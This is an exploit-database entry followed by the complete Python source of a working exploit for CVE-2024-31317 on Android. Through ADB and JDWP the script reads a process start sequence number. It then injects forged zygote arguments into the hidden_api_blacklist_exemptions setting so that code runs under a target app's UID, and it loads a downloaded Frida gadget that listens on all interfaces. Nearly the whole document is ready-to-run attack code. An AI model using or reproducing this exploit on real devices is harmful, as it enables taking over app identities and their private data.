Exploit databaseDownload repository ZIP
GH-5c1d2aaee957027fc073b5f906e74e9b
cleov2/debuggable-app-exploit
Sources for CVE-2024-31317
14 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
cleov2/debuggable-app-exploitRevision c52bbeeb8904
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2024-31317-Debuggable.py
Python · 16,723 bytesimport logging
import asyncio
import jdwplib
import struct
import shlex
import subprocess
import urllib.request
import json
import lzma
from pathlib import Path
from time import sleep
from ppadb.client import Client as AdbClient
from typing import Optional, Union
logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')
HERE = Path(__file__).absolute().parent
START_SEQ: int | None = None
TARGET_APP = "com.debug.configurator"
DEBUG_APP = "com.debug.app"
DEBUG_APK = "app-debug.apk"
BREAKPOINTS = [
("Landroid/os/MessageQueue;", "next"),
("Landroid/os/Binder;", "execTransact"),
("Landroid/app/ActivityThread;", "handleMessage"),
("Landroid/os/Handler;", "dispatchMessage"),
("Landroid/os/Handler;", "handleMessage"),
("Landroid/view/Choreographer;", "doFrame"),
("Landroid/view/View;", "dispatchTouchEvent"),
("Landroid/view/View;", "onDraw"),
]
ABI_MAP = {
"arm64-v8a": "arm64",
"armeabi-v7a": "arm",
"armeabi": "arm",
"x86": "x86",
"x86_64": "x86_64",
}
FRIDA_ARCH_MAP = {
"arm64-v8a": "arm64",
"armeabi-v7a": "arm",
"armeabi": "arm",
"x86": "x86",
"x86_64": "x86_64",
}
class AdbConnection:
def __init__(self, device_serial: Optional[str] = None, auto_connect: bool = True):
self._client = AdbClient()
self.device = None
if auto_connect:
self.connect(device_serial)
def connect(self, device_serial: Optional[str]) -> None:
devices = self._client.devices()
if device_serial is None:
if len(devices) == 1:
self.device = devices[0]
elif len(devices) == 0:
raise RuntimeError("No devices found")
else:
raise RuntimeError("Multiple devices found, specify serial")
else:
for d in devices:
if d.serial == device_serial:
self.device = d
break
else:
raise RuntimeError(f"Device {device_serial} not found")
logging.info(f"Connected: {self.device.serial}")
def shell(self, command: Union[list, str], allow_error: bool = False) -> dict:
cmd = command if isinstance(command, str) else shlex.join(command)
stdout, stderr, code = self.device.shell_v2(cmd, separate_stdout_stderr=True)
if code and not allow_error:
raise RuntimeError(f'Command failed ({code}): {cmd}')
return {"stdout": stdout, "stderr": stderr, "exit_code": code}
adb = AdbConnection()
def adb_exe(*args, check=True):
return subprocess.run([HERE / "win32" / "adb.exe", *args], capture_output=True, text=True, check=check)
def is_installed(package: str) -> bool:
result = adb.shell(f"pm list packages | grep {package}", allow_error=True)
return package in result.get("stdout", "")
def install_apk(apk_path: Path, package: str) -> None:
if not apk_path.exists():
raise FileNotFoundError(f"APK not found: {apk_path}")
logging.info(f"Installing {apk_path.name}")
result = adb_exe("install", "-r", str(apk_path), check=False)
if result.returncode != 0:
raise RuntimeError(f"Install failed: {result.stderr}")
logging.info(f"Installed {package}")
def ensure_installed(package: str, apk: str) -> None:
if is_installed(package):
logging.info(f"{package} already installed")
return
logging.info(f"Installing {package}")
install_apk(HERE / apk, package)
def get_app_info(package: str) -> dict:
logging.info(f"Detecting parameters for {package}")
info = {'uid': None, 'gid': None, 'instruction_set': None, 'data_dir': None}
result = adb.shell(f"pm list packages -U | grep {package}", allow_error=True)
if "uid:" in result.get("stdout", ""):
uid = result["stdout"].split("uid:")[1].split()[0]
info['uid'] = info['gid'] = uid
logging.info(f"UID: {uid}")
result = adb.shell(f"dumpsys package {package} | grep primaryCpuAbi", allow_error=True)
if "primaryCpuAbi" in result.get("stdout", ""):
abi = result["stdout"].split("primaryCpuAbi=")[1].split()[0]
info['instruction_set'] = ABI_MAP.get(abi, abi)
logging.info(f"Arch: {info['instruction_set']}")
result = adb.shell(f"dumpsys package {package} | grep dataDir", allow_error=True)
if "dataDir=" in result.get("stdout", ""):
info['data_dir'] = result["stdout"].split("dataDir=")[1].split()[0]
logging.info(f"Data: {info['data_dir']}")
return info
def start_debug_app(package: str) -> None:
global START_SEQ
logging.info("Cleaning up")
adb.shell(["am", "force-stop", package], allow_error=True)
adb.shell(["am", "clear-debug-app"], allow_error=True)
sleep(0.5)
logging.info("Setting debuggable")
adb.shell(f"am set-debug-app {package}")
result = adb.shell(f'cmd package resolve-activity --brief {package} | tail -n 1')
activity = result["stdout"].strip()
logging.info(f"Starting {activity}")
adb.shell(f"am start -n {activity}")
pid = None
for i in range(15):
result = adb.shell(f"pidof {package}", allow_error=True)
pid = result["stdout"].strip()
if pid:
logging.info(f"PID: {pid}")
break
if i % 3 == 0:
logging.info(f"Waiting... ({i}s)")
sleep(1)
if not pid:
raise RuntimeError(f"App failed to start: {package}")
result = adb_exe("forward", "tcp:0", f"jdwp:{pid}")
port = int(result.stdout.strip())
logging.info(f"JDWP port: {port}")
async def extract_startseq():
global START_SEQ
async with jdwplib.JDWPClient("127.0.0.1", port) as client:
logging.info("Suspending VM")
await client.suspend_vm()
threads = await client.get_all_threads()
main_thread = None
for t in threads:
if await client.get_thread_name(t) == "main":
main_thread = t
break
if not main_thread:
logging.error("Main thread not found")
await client.send_command(jdwplib.Commands.RESUME_VM)
return
frames = await client.get_thread_frames(main_thread)
logging.info(f"Scanning {len(frames)} frames")
for frame in frames:
try:
class_id = frame['location']['class_id']
method_id = frame['location']['method_id']
variables = await client.get_variable_table(class_id, method_id)
for var in variables:
if var['name'] == "startSeq":
sig = var['signature']
tag = b'I' if sig == 'I' else b'J' if sig == 'J' else b'L'
values = await client.get_frame_values(
main_thread, frame['frame_id'], [(var['slot'], tag)]
)
if values:
tag, data = values[0]
if tag == b'I':
START_SEQ = struct.unpack("!i", data)[0]
elif tag == b'J':
START_SEQ = struct.unpack("!q", data)[0]
logging.info(f"startSeq: {START_SEQ}")
break
if START_SEQ is not None:
break
except Exception:
continue
await client.send_command(jdwplib.Commands.RESUME_VM)
asyncio.run(extract_startseq())
adb.shell(["am", "force-stop", package], allow_error=True)
sleep(0.5)
def trigger_exploit(package: str, seq: int, auto_detect: bool = False):
logging.info("Preparing exploit")
adb.shell(["settings", "delete", "global", "hidden_api_blacklist_exemptions"])
result = adb.shell(f'cmd package resolve-activity --brief {package} | tail -n 1')
activity = result["stdout"].strip()
uid, gid = "10242", "10242"
arch = "arm64"
data_dir = f"/data/user/0/{package}"
if auto_detect:
info = get_app_info(package)
if info['uid']:
uid = gid = info['uid']
if info['instruction_set']:
arch = info['instruction_set']
if info['data_dir']:
data_dir = info['data_dir']
logging.info(f"UID={uid} Arch={arch}")
args = [
"--runtime-args",
f"--setuid={uid}",
f"--setgid={gid}",
"--runtime-flags=65535",
"--mount-external-default",
"--target-sdk-version=35",
"--setgroups=3003",
f"--nice-name={package}",
"--seinfo=default:targetSdkVersion=30:complete",
f"--instruction-set={arch}",
f"--app-data-dir={data_dir}",
f"--package-name={package}",
"--is-top-app",
"--bind-mount-data-dirs",
"android.app.ActivityThread",
f"seq={seq}",
]
zygote_args = "\n".join([f"{len(args):d}"] + args)
android_ver = int(adb.shell(["getprop", "ro.build.version.release"])["stdout"])
logging.info(f"Android {android_ver}")
if android_ver >= 12:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
else:
payload = f"LClass1;->method1(\n{zygote_args}"
logging.info(f"Payload: {len(payload)} bytes")
adb.shell(["settings", "put", "global", "hidden_api_blacklist_exemptions", payload])
sleep(1)
logging.info("Restarting target")
adb.shell(["am", "force-stop", package])
adb.shell(["am", "start", "-n", activity])
sleep(2)
logging.info("Cleanup")
adb.shell(["settings", "delete", "global", "hidden_api_blacklist_exemptions"])
logging.info("Done")
def get_device_arch() -> str:
result = adb.shell("getprop ro.product.cpu.abi", allow_error=True)
abi = result.get("stdout", "").strip()
return ABI_MAP.get(abi, "arm64")
def get_frida_gadget(arch: str) -> Path:
existing = [f for f in HERE.glob(f"frida-gadget*android-{arch}.so") if "config" not in f.name]
if existing:
logging.info(f"Using existing gadget: {existing[0].name}")
return existing[0]
logging.info(f"Downloading Frida gadget for {arch}...")
try:
api_url = "https://api.github.com/repos/frida/frida/releases/latest"
req = urllib.request.Request(api_url, headers={"User-Agent": "Mozilla/5.0"})
with urllib.request.urlopen(req, timeout=30) as resp:
release = json.loads(resp.read().decode())
version = release["tag_name"]
gadget_name = f"frida-gadget-{version}-android-{arch}.so"
xz_name = f"{gadget_name}.xz"
download_url = None
for asset in release["assets"]:
if asset["name"] == xz_name:
download_url = asset["browser_download_url"]
break
if not download_url:
logging.error(f"Gadget not found for {arch} in release {version}")
return None
logging.info(f"Downloading {xz_name}...")
xz_path = HERE / xz_name
req = urllib.request.Request(download_url, headers={"User-Agent": "Mozilla/5.0"})
with urllib.request.urlopen(req, timeout=120) as resp:
xz_path.write_bytes(resp.read())
logging.info("Extracting...")
gadget_path = HERE / gadget_name
with lzma.open(xz_path, 'rb') as xz_file:
gadget_path.write_bytes(xz_file.read())
xz_path.unlink()
logging.info(f"Downloaded: {gadget_name}")
return gadget_path
except Exception as e:
logging.error(f"Download failed: {e}")
return None
def inject_frida(package: str, port: int):
arch = get_device_arch()
gadget = get_frida_gadget(arch)
if not gadget:
logging.error("Could not get Frida gadget")
return
config = HERE / "frida-gadget.config.so"
gadget_path = f"/data/data/{package}/frida-gadget.so"
logging.info(f"Using {gadget.name}")
adb_exe("push", str(gadget), "/data/local/tmp/frida-gadget.so", check=False)
adb_exe("shell", "chmod 755 /data/local/tmp/frida-gadget.so", check=False)
if config.exists():
adb_exe("push", str(config), "/data/local/tmp/frida-gadget.config.so", check=False)
else:
cfg = '{"interaction":{"type":"listen","address":"0.0.0.0","port":27042,"on_load":"resume"}}'
adb_exe("shell", f"echo '{cfg}' > /data/local/tmp/frida-gadget.config.so", check=False)
logging.info("Copying to app dir")
adb_exe("shell", f"run-as {package} sh -c 'cat /data/local/tmp/frida-gadget.so > frida-gadget.so && chmod 755 frida-gadget.so'", check=False)
adb_exe("shell", f"run-as {package} sh -c 'cat /data/local/tmp/frida-gadget.config.so > frida-gadget.config.so'", check=False)
logging.info("Injecting via JDWP")
print("\n" + "=" * 50)
print(" TAP / INTERACT WITH THE APP TO TRIGGER INJECTION")
print("=" * 50 + "\n")
async def do_inject():
async with jdwplib.JDWPClient("127.0.0.1", port) as client:
logging.info("Connected - waiting for breakpoint...")
thread_id, bp_id = None, None
for cls, method in BREAKPOINTS:
try:
logging.info(f"Trying {cls}.{method}")
thread_id, bp_id = await asyncio.wait_for(
client.advance_to_breakpoint(cls, method), timeout=5.0
)
logging.info(f"Hit {method}")
break
except (asyncio.TimeoutError, Exception):
continue
if not thread_id:
logging.error("No breakpoint hit")
return False
if bp_id:
await client.clear_breakpoint(bp_id)
logging.info("Loading gadget")
try:
await asyncio.wait_for(client.load(thread_id, gadget_path), timeout=10.0)
logging.info("Loaded")
except asyncio.TimeoutError:
logging.info("Timeout (may still work)")
except Exception as e:
logging.error(f"Load failed: {e}")
return False
finally:
try:
await client.send_command(jdwplib.Commands.RESUME_VM)
except:
pass
return True
if asyncio.run(do_inject()):
adb_exe("forward", "tcp:27042", "tcp:27042", check=False)
adb_exe("forward", "tcp:27043", "tcp:27043", check=False)
print("\n" + "=" * 50)
print(" FRIDA READY")
print("=" * 50)
print("\n frida -H 127.0.0.1:27042 -n Gadget\n")
print("=" * 50)
def main():
global START_SEQ
print("\n" + "=" * 50)
print(" CVE-2024-31317 Exploit")
print("=" * 50 + "\n")
print("[1] Auto-detect parameters")
print("[2] Hardcoded values\n")
auto = input("Mode (1/2) [1]: ").strip() != "2"
print()
try:
adb.shell(["am", "force-stop", DEBUG_APP], allow_error=True)
ensure_installed(DEBUG_APP, DEBUG_APK)
logging.info("Phase 1: Extract startSeq")
start_debug_app(DEBUG_APP)
if START_SEQ is None:
logging.error("Failed to get startSeq")
return
logging.info(f"Phase 2: Exploit {TARGET_APP}")
trigger_exploit(TARGET_APP, START_SEQ + 1, auto)
result = adb.shell(f"pidof {TARGET_APP}", allow_error=True)
pid = result.get("stdout", "").strip()
if pid:
logging.info(f"Target PID: {pid}")
result = adb_exe("forward", "tcp:0", f"jdwp:{pid}")
port = int(result.stdout.strip())
logging.info(f"JDWP: {port}")
if input("\nInject Frida? (y/N): ").strip().lower() == 'y':
inject_frida(TARGET_APP, port)
else:
logging.warning("Target not running")
except Exception as e:
logging.error(f"Failed: {e}")
raise
if __name__ == "__main__":
main()